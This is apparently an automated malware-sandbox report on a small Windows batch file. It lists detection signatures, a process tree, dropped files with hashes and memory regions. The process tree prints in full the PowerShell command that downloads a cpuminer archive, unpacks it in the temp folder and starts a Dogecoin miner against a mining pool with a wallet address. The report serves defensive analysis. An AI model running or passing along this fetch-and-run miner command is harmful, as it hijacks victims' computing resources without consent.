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Analysis

  • max time kernel
    1792s
  • max time network
    1798s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/02/2024, 18:02

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3676

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0el3orp.bq0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    35KB

    MD5

    7340f40391d22945fc74d70c886a5d26

    SHA1

    f76ff490e909790f162a53770e694a2c0c8782c3

    SHA256

    273c475c36d0931472cabf70b7e422f0e7d7c9e2508358b0a2aaa47f73dbf6d9

    SHA512

    1cbcc54b193cf89190b8544fb2cfd6b7b7f8fe7a14e621d35cf8277c4dd3d260b514031c1c83d07f4415c62cccb6a277289262f2e48fb398912832bb67d22631

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    64KB

    MD5

    42871db599b90c630b2d75268c8b0116

    SHA1

    fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

    SHA256

    80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

    SHA512

    c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    57KB

    MD5

    9847e73bcb93a91acd165a0f6892b3f6

    SHA1

    1015d74d21104498e7155841b9e7cd8f66a983c5

    SHA256

    e324d252f54abb2a57eb723ff7e77015f545af2544a54b9bcacfe2a20ec4abe4

    SHA512

    f2047bd1599c42d543bd698bd0e6f1df718648169ec08c9a47403b69c5d88a2cdeb388138fafdfa38a4ecbd6f0f54e209357967a3987221351bd44860169f88d

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    57KB

    MD5

    4a91d8f522a86a4a67e44a7667410a6f

    SHA1

    7ecf2598d4da2b1b105991b2f5a49c8e14e648a4

    SHA256

    4ecdc95a5d1aac157a46642018b8ed1f005ee2ab6e9ab2bf8f38e961dc37ea4c

    SHA512

    aa5a94d3acb4c310f0b24d132556ff07ec17bc152e4575c7e3e3d89babc9768ac0be323f3ed89c796d145b28f19a7d8d880721077b4e503a2aa3b8990032f9e3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    3.9MB

    MD5

    6590c9d3cabfdefe14b836e433ff370d

    SHA1

    64c854ccc0b1652562646a68154ec58207643d2d

    SHA256

    9a69a4bc622db090f3781c6635ab3df8a5d2b797db82ade463c2fb6132982cbf

    SHA512

    d5a62fb753e3c3dac0bdc6dd66a222a8316ea38b216cacfcf24f1a6c0d8aa14edbb19b251fa7747816801e87647a2b7a8a7727538838f65feca6db3e778bfc02

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    5.3MB

    MD5

    002682c7cc11eb4c0bda3b03d9bbd871

    SHA1

    0decf56eb36747e0fca19614fe1f76a3986f8615

    SHA256

    98edcad15a98efddc025b6f51a6cd9face4adb316d3562762c24a178c11d8565

    SHA512

    db946524ee2bcce07cbb45eec8904a80359c8175e484dc0adc72aee958e05cb4917d8fb486dfe138ca90fd48285293179e15f0a93d53d9c5695860de69b7b829

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3396-21-0x00007FF8BCE90000-0x00007FF8BD951000-memory.dmp

    Filesize

    10.8MB

  • memory/3396-55-0x00007FF8BCE90000-0x00007FF8BD951000-memory.dmp

    Filesize

    10.8MB

  • memory/3396-9-0x0000019659150000-0x0000019659172000-memory.dmp

    Filesize

    136KB

  • memory/3396-16-0x000001965B490000-0x000001965B49A000-memory.dmp

    Filesize

    40KB

  • memory/3396-15-0x000001965B4B0000-0x000001965B4C2000-memory.dmp

    Filesize

    72KB

  • memory/3396-13-0x00000196591D0000-0x00000196591E0000-memory.dmp

    Filesize

    64KB

  • memory/3396-12-0x00000196591D0000-0x00000196591E0000-memory.dmp

    Filesize

    64KB

  • memory/3396-11-0x00000196591D0000-0x00000196591E0000-memory.dmp

    Filesize

    64KB

  • memory/3396-10-0x00007FF8BCE90000-0x00007FF8BD951000-memory.dmp

    Filesize

    10.8MB

  • memory/3676-70-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3676-88-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-68-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-71-0x0000000052E60000-0x0000000052EF8000-memory.dmp

    Filesize

    608KB

  • memory/3676-72-0x0000000001060000-0x0000000002915000-memory.dmp

    Filesize

    24.7MB

  • memory/3676-78-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-83-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-69-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3676-93-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-98-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-103-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-108-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-118-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3676-123-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB